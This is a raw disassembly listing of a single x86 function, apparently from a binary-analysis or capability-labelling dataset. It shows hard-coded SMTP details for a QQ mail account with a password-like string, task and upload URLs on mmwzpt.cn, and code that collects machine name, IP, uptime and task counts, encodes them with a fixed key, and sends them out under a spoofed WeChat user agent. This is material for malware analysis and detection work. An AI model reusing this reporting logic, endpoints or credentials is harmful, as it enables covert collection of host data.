Function at 0x4100b4
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 8
call fcn.00431280
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x4ee6e8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
push 8
call fcn.00431280
add esp, 4
mov dword [ebp - 0x44], eax
mov edi, eax
mov esi, 0x4ee6e8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
push 8
call fcn.00431280
add esp, 4
mov dword [ebp - 0x58], eax
mov edi, eax
mov esi, 0x4ee6e8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
push 8
call fcn.00431280
add esp, 4
mov dword [ebp - 0x68], eax
mov edi, eax
mov esi, 0x4ee6e8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
cmp dword [0x5a3ef4], 1
jne 0x410216
mov eax, dword [0x5a3ecc]
test eax, eax
je 0x4101fc
push eax
mov ebx, eax
call fcn.00401446
inc eax
push eax
call fcn.00431280
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41020d
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x410247
push 0xffffffffffffffff
push 8
push 0x16019854
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x410243
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x4ee6f0
push dword [ebp - 4]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x41029d
mov dword [ebp - 0x74], 0
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.00414e4b
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x410285
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x410299
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [0x5a3ed0], 5
jg 0x4102bf
mov eax, dword [0x5a3edc]
cmp dword [0x5a3ed0], eax
jne 0x4102bf
xor eax, eax
jmp 0x4102c4
mov eax, 1
test eax, eax
je 0x41053a
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.397520397520
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.smtp.qq.com
push 5
mov eax, 2
mov ebx, 0x499480
call fcn.0043128c
add esp, 0x40
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4eefd8
push dword [ebp - 0x74]
mov ecx, 2
call fcn.004014b1
add esp, 8
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x410354
push ebx
call fcn.00431286
add esp, 4
push 0x80000301
push 0
push dword [0x5a3ed0]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000301
push 0
push dword [0x5a3edc]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x80], eax
push 0xffffffffffffffff
push 8
push 0x16019859
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x84], eax
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [0x5a3ef8]
push 0x4eeff9
push dword [ebp - 0x80]
push 0x4ef004
push dword [ebp - 0x7c]
push 0x4ef024
push dword [ebp - 0x8c]
push 0x4ef040
push dword [ebp - 0x88]
push 0x4ef05c
push dword [ebp - 0x84]
push 0x4ef06c
mov ecx, 0xc
call fcn.004014b1
add esp, 0x30
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41044e
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x410461
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x410474
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x410484
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x410494
push ebx
call fcn.00431286
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
mov ebx, 6
call fcn.00401117
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x4104d2
mov eax, 0x4ee6f0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4104e6
mov eax, 0x4ee6f0
push eax
push 7
mov eax, 2
mov ebx, 0x4994f0
call fcn.0043128c
add esp, 0x58
mov ebx, eax
test ebx, ebx
je 0x41050d
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x41051d
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x410530
push ebx
call fcn.00431286
add esp, 4
push 0
call fcn.00431292
add esp, 4
cmp dword [0x5a3efc], 0
jle 0x41061b
fild dword [0x5a3efc]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5a3ed0]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00402653
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [0x5a3f00]
push 1
mov ebx, 0x432080
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fmul qword [0x4ef07c]
fstp qword [ebp - 0x84]
fild dword [ebp - 8]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
fsub qword [ebp - 0x84]
fcomp qword [0x4eea6c]
fnstsw ax
test ah, 0x41
jne 0x410616
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef084
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ef091
push 4
mov ebx, 0x4344f0
call fcn.0043127a
add esp, 0x34
push 0
call fcn.00431292
add esp, 4
jmp 0x410623
mov eax, dword [0x5a3ed0]
mov dword [ebp - 8], eax
cmp dword [0x5a3f04], 1
jne 0x4106a6
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
call fcn.004150b3
mov dword [ebp - 0x78], eax
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x410663
mov eax, 0x4ee6f0
push eax
push 2
mov ebx, 0x4319e0
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x410689
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x7c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41069d
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
jmp 0x4106e0
call fcn.0041549b
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4106dc
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
cmp dword [0x5a3f08], 1
jne 0x410dde
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www1.mmwzpt.cn_mmrj_zxgh.asp_Actionzxtasknamesannonghn_lm
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00409443
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4107c0
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4107d3
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4107e6
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4107f9
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x41080c
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41081f
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41082f
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x41083f
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x410855
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x410881
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x410898
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef0f7
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef0f9
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
push 0x5a3f0c
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4108ec
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4108fc
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x410913
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x41092a
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x4ef107
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, str.B_
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x410995
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4109a8
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4109b8
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4109cf
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4109f2
mov eax, 0x4ee6f0
push eax
push 2
mov ebx, 0x431a20
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x74], eax
push 0x4ef110
push dword [ebp - 0x74]
call fcn.0040107a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x410a36
push ebx
call fcn.00431286
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x410ad8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x410a53
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431840
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x4ee75f]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00402653
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x410aa4
mov eax, 0x4ee6f0
push eax
push 2
mov ebx, 0x4319e0
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x410ad4
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x4ef110
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00416165
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x410b01
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x1c]
call fcn.0040267a
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x410b1f
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431f20
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edx
fild dword [ebp - 0x74]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
fsub qword [ebp - 0x7c]
fcomp qword [0x4ef112]
fnstsw ax
test ah, 1
jne 0x410bf6
mov ebx, dword [ebp - 0x1c]
call fcn.00402693
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.0040267a
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x431960
call fcn.0043127a
add esp, 0x1c
dec eax
jns 0x410ba3
push 4
call fcn.0043126e
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410bb6
push 1
call fcn.0043126e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x7c], ebx
mov ebx, dword [ebp - 0x7c]
mov eax, dword [ebx]
test eax, eax
je 0x410bdc
push eax
mov ebx, eax
call fcn.00401446
inc eax
push eax
call fcn.00431280
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x410bed
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x410c16
call fcn.004164fb
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x410c12
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0
push dword [ebp - 0x20]
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00431298
add esp, 0x18
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5a3ed4]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x433780
call fcn.0043127a
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040c7f1
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [ebp - 0xc]
push 0x4ef11a
push dword [0x5a3ef8]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x8c]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamesannonghn_lmSuccNums
push dword [ebp - 0x20]
push str.Idname
mov ecx, 0x10
call fcn.004014b1
add esp, 0x40
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x410d3e
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x410d4e
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x410d61
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x410d74
push ebx
call fcn.00431286
add esp, 4
mov eax, str.2015xinqixiang
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00416b14
mov dword [ebp - 0x98], eax
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x410dab
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x410dbe
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x98]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x410dd5
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
jmp 0x410fb8
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5a3ed4]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x433780
call fcn.0043127a
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040c7f1
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x8c], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0043129e
add esp, 0x10
mov dword [ebp - 0x90], eax
push dword [ebp - 0xc]
push 0x4ef11a
push dword [0x5a3ef8]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x90]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamesannonghn_lmSuccNums
push dword [ebp - 0x8c]
push str.Idname
mov ecx, 0x10
call fcn.004014b1
add esp, 0x40
mov dword [ebp - 0x94], eax
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x410f0d
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x410f1d
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x410f2d
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x410f40
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x410f53
push ebx
call fcn.00431286
add esp, 4
mov eax, str.2015xinqixiang
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.00416b14
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x410f8a
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x410f9d
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x9c]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x410fb4
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str.http:__www1.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.004014b1
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00409443
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x411099
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4110ac
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4110bf
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4110d2
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4110e5
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4110f8
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411108
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411118
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x41112e
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x41115a
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x411171
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef246
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4111a6
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x411419
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4eeb56
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411215
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411225
push ebx
call fcn.00431286
add esp, 4
push dword [ebp - 0x84]
push str.http:__www1.mmwzpt.cn
mov ecx, 2
call fcn.004014b1
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x411256
push ebx
call fcn.00431286
add esp, 4
mov dword [ebp - 0x8c], 0
push 0
push dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov dword [ebp - 0x9c], 0
push 0
lea eax, [ebp - 0x9c]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
lea eax, [ebp - 0x88]
push eax
call fcn.00409443
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x411337
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x41134a
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x41135d
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x411370
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x411383
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x411396
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4113a9
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4113bc
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x4113d2
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x4113fe
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xb8]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x411415
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef246
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x41144a
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4116bd
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
